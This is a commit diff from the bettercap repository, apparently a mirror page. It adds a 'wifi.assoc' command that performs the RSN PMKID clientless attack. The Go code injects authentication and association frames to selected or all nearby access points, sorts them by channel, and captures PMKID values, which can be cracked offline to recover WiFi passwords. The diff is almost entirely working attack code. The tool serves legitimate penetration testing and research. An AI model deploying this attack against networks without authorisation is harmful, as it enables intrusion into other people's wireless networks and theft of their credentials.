mirror of
https://github.com/bettercap/bettercap
synced 2025-08-14 10:46:57 -07:00
new: new wifi.assoc command to perform a RSN PMKID clientless attack (closes #436)
This commit is contained in:
parent
0ec645afd3
commit
acbc6d28dd
7 changed files with 279 additions and 6 deletions
|
@ -37,6 +37,9 @@ type WiFiModule struct {
|
|||
deauthSkip []net.HardwareAddr
|
||||
deauthSilent bool
|
||||
deauthOpen bool
|
||||
assocSkip []net.HardwareAddr
|
||||
assocSilent bool
|
||||
assocOpen bool
|
||||
shakesFile string
|
||||
apRunning bool
|
||||
apConfig packets.Dot11ApConfig
|
||||
|
@ -57,6 +60,10 @@ func NewWiFiModule(s *session.Session) *WiFiModule {
|
|||
apRunning: false,
|
||||
deauthSkip: []net.HardwareAddr{},
|
||||
deauthSilent: false,
|
||||
deauthOpen: false,
|
||||
assocSkip: []net.HardwareAddr{},
|
||||
assocSilent: false,
|
||||
assocOpen: false,
|
||||
writes: &sync.WaitGroup{},
|
||||
reads: &sync.WaitGroup{},
|
||||
chanLock: &sync.Mutex{},
|
||||
|
@ -123,6 +130,32 @@ func NewWiFiModule(s *session.Session) *WiFiModule {
|
|||
"true",
|
||||
"Send wifi deauth packets to open networks."))
|
||||
|
||||
w.AddHandler(session.NewModuleHandler("wifi.assoc BSSID", `wifi\.assoc ((?:[a-fA-F0-9:]{11,})|all|\*)`,
|
||||
"Send an association request to the selected BSSID in order to receive a RSN PMKID key. Use 'all', '*' or a broadcast BSSID (ff:ff:ff:ff:ff:ff) to iterate for every access point.",
|
||||
func(args []string) error {
|
||||
if args[0] == "all" || args[0] == "*" {
|
||||
args[0] = "ff:ff:ff:ff:ff:ff"
|
||||
}
|
||||
bssid, err := net.ParseMAC(args[0])
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return w.startAssoc(bssid)
|
||||
}))
|
||||
|
||||
w.AddParam(session.NewStringParameter("wifi.assoc.skip",
|
||||
"",
|
||||
"",
|
||||
"Comma separated list of BSSID to skip while sending association requests."))
|
||||
|
||||
w.AddParam(session.NewBoolParameter("wifi.assoc.silent",
|
||||
"false",
|
||||
"If true, messages from wifi.assoc will be suppressed."))
|
||||
|
||||
w.AddParam(session.NewBoolParameter("wifi.assoc.open",
|
||||
"false",
|
||||
"Send association requests to open networks."))
|
||||
|
||||
w.AddHandler(session.NewModuleHandler("wifi.ap", "",
|
||||
"Inject fake management beacons in order to create a rogue access point.",
|
||||
func(args []string) error {
|
||||
|
@ -228,7 +261,7 @@ func (w WiFiModule) Description() string {
|
|||
}
|
||||
|
||||
func (w WiFiModule) Author() string {
|
||||
return "Gianluca Braga <matrix86@protonmail.com> && Simone Margaritelli <evilsocket@protonmail.com>>"
|
||||
return "Simone Margaritelli <evilsocket@protonmail.com> && Gianluca Braga <matrix86@protonmail.com>"
|
||||
}
|
||||
|
||||
const (
|
||||
|
|
130
modules/wifi_assoc.go
Normal file
130
modules/wifi_assoc.go
Normal file
|
@ -0,0 +1,130 @@
|
|||
package modules
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"net"
|
||||
"sort"
|
||||
|
||||
"github.com/bettercap/bettercap/log"
|
||||
"github.com/bettercap/bettercap/network"
|
||||
"github.com/bettercap/bettercap/packets"
|
||||
)
|
||||
|
||||
func (w *WiFiModule) sendAssocPacket(ap *network.AccessPoint) {
|
||||
if err, pkt := packets.NewDot11Auth(w.Session.Interface.HW, ap.HW, 1); err != nil {
|
||||
log.Error("cloud not create auth packet: %s", err)
|
||||
// continue
|
||||
} else {
|
||||
w.injectPacket(pkt)
|
||||
}
|
||||
|
||||
// for seq := uint16(0); seq < 3 && w.Running(); seq++ {
|
||||
if err, pkt := packets.NewDot11AssociationRequest(w.Session.Interface.HW, ap.HW, ap.ESSID(), 1); err != nil {
|
||||
log.Error("cloud not create association request packet: %s", err)
|
||||
// continue
|
||||
} else {
|
||||
w.injectPacket(pkt)
|
||||
}
|
||||
// }
|
||||
}
|
||||
|
||||
func (w *WiFiModule) skipAssoc(to net.HardwareAddr) bool {
|
||||
for _, mac := range w.assocSkip {
|
||||
if bytes.Equal(to, mac) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func (w *WiFiModule) isAssocSilent() bool {
|
||||
if err, is := w.BoolParam("wifi.assoc.silent"); err != nil {
|
||||
log.Warning("%v", err)
|
||||
} else {
|
||||
w.assocSilent = is
|
||||
}
|
||||
return w.assocSilent
|
||||
}
|
||||
|
||||
func (w *WiFiModule) doAssocOpen() bool {
|
||||
if err, is := w.BoolParam("wifi.assoc.open"); err != nil {
|
||||
log.Warning("%v", err)
|
||||
} else {
|
||||
w.assocOpen = is
|
||||
}
|
||||
return w.assocOpen
|
||||
}
|
||||
|
||||
func (w *WiFiModule) startAssoc(to net.HardwareAddr) error {
|
||||
// parse skip list
|
||||
if err, assocSkip := w.StringParam("wifi.assoc.skip"); err != nil {
|
||||
return err
|
||||
} else if macs, err := network.ParseMACs(assocSkip); err != nil {
|
||||
return err
|
||||
} else {
|
||||
w.assocSkip = macs
|
||||
}
|
||||
|
||||
// if not already running, temporarily enable the pcap handle
|
||||
// for packet injection
|
||||
if !w.Running() {
|
||||
if err := w.Configure(); err != nil {
|
||||
return err
|
||||
}
|
||||
defer w.handle.Close()
|
||||
}
|
||||
|
||||
toAssoc := make([]*network.AccessPoint, 0)
|
||||
isBcast := network.IsBroadcastMac(to)
|
||||
for _, ap := range w.Session.WiFi.List() {
|
||||
if isBcast || bytes.Equal(ap.HW, to) {
|
||||
if !w.skipAssoc(ap.HW) {
|
||||
toAssoc = append(toAssoc, ap)
|
||||
} else {
|
||||
log.Debug("skipping ap:%v because skip list %v", ap, w.assocSkip)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if len(toAssoc) == 0 {
|
||||
if isBcast {
|
||||
return nil
|
||||
}
|
||||
return fmt.Errorf("%s is an unknown BSSID or it is in the association skip list.", to.String())
|
||||
}
|
||||
|
||||
go func() {
|
||||
w.writes.Add(1)
|
||||
defer w.writes.Done()
|
||||
|
||||
// since we need to change the wifi adapter channel for each
|
||||
// association request, let's sort by channel so we do the minimum
|
||||
// amount of hops possible
|
||||
sort.Slice(toAssoc, func(i, j int) bool {
|
||||
return toAssoc[i].Channel() < toAssoc[j].Channel()
|
||||
})
|
||||
|
||||
// send the association request frames
|
||||
for _, ap := range toAssoc {
|
||||
if w.Running() {
|
||||
logger := log.Info
|
||||
if w.isAssocSilent() {
|
||||
logger = log.Debug
|
||||
}
|
||||
|
||||
if ap.IsOpen() && !w.doAssocOpen() {
|
||||
log.Debug("skipping association for open network %s (wifi.assoc.open is false)", ap.ESSID())
|
||||
} else {
|
||||
logger("sending association request to AP %s (channel:%d encryption:%s)", ap.ESSID(), ap.Channel(), ap.Encryption)
|
||||
|
||||
w.onChannel(ap.Channel(), func() {
|
||||
w.sendAssocPacket(ap)
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
return nil
|
||||
}
|
|
@ -156,11 +156,25 @@ func (w *WiFiModule) discoverHandshakes(radiotap *layers.RadioTap, dot11 *layers
|
|||
apMac = dot11.Address1
|
||||
}
|
||||
|
||||
if station, found := w.Session.WiFi.GetClient(staMac.String()); found {
|
||||
// ref. https://hashcat.net/forum/thread-7717.html
|
||||
rawPMKID := []byte(nil)
|
||||
ap, found := w.Session.WiFi.Get(apMac.String())
|
||||
if !found {
|
||||
log.Warning("could not find AP with BSSID %s", apMac.String())
|
||||
return
|
||||
}
|
||||
|
||||
// ref. https://wlan1nde.wordpress.com/2014/10/27/4-way-handshake/
|
||||
station := (*network.Station)(nil)
|
||||
staIsUs := bytes.Equal(staMac, w.Session.Interface.HW)
|
||||
if staIsUs {
|
||||
// add a fake station
|
||||
station, _ = ap.AddClientIfNew(staMac.String(), ap.Frequency, ap.RSSI)
|
||||
found = true
|
||||
} else {
|
||||
station, found = ap.Get(staMac.String())
|
||||
}
|
||||
|
||||
// ref. https://wlan1nde.wordpress.com/2014/10/27/4-way-handshake/
|
||||
if found {
|
||||
rawPMKID := []byte(nil)
|
||||
if !key.Install && key.KeyACK && !key.KeyMIC {
|
||||
// [1] (ACK) AP is sending ANonce to the client
|
||||
log.Debug("[%s] got frame 1/4 of the %s <-> %s handshake (anonce:%x)",
|
||||
|
@ -168,6 +182,7 @@ func (w *WiFiModule) discoverHandshakes(radiotap *layers.RadioTap, dot11 *layers
|
|||
apMac,
|
||||
staMac,
|
||||
key.Nonce)
|
||||
// ref. https://hashcat.net/forum/thread-7717.html
|
||||
rawPMKID = station.Handshake.AddAndGetPMKID(packet)
|
||||
} else if !key.Install && !key.KeyACK && key.KeyMIC && !allZeros(key.Nonce) {
|
||||
// [2] (MIC) client is sending SNonce+MIC to the API
|
||||
|
@ -206,6 +221,7 @@ func (w *WiFiModule) discoverHandshakes(radiotap *layers.RadioTap, dot11 *layers
|
|||
PMKID: rawPMKID,
|
||||
})
|
||||
}
|
||||
|
||||
} else {
|
||||
log.Warning("EAPOL captured for unknown station %s", staMac.String())
|
||||
}
|
||||
|
|
|
@ -58,7 +58,7 @@ func (w *WiFiModule) getRow(station *network.Station) ([]string, bool) {
|
|||
// this is ugly, but necessary in order to have this
|
||||
// method handle both access point and clients
|
||||
// transparently
|
||||
if ap, found := w.Session.WiFi.Get(station.HwAddress); found && ap.HasHandshakes() {
|
||||
if ap, found := w.Session.WiFi.Get(station.HwAddress); found && (ap.HasHandshakes() || ap.HasPMKID()) {
|
||||
encryption = tui.Red(encryption)
|
||||
}
|
||||
}
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue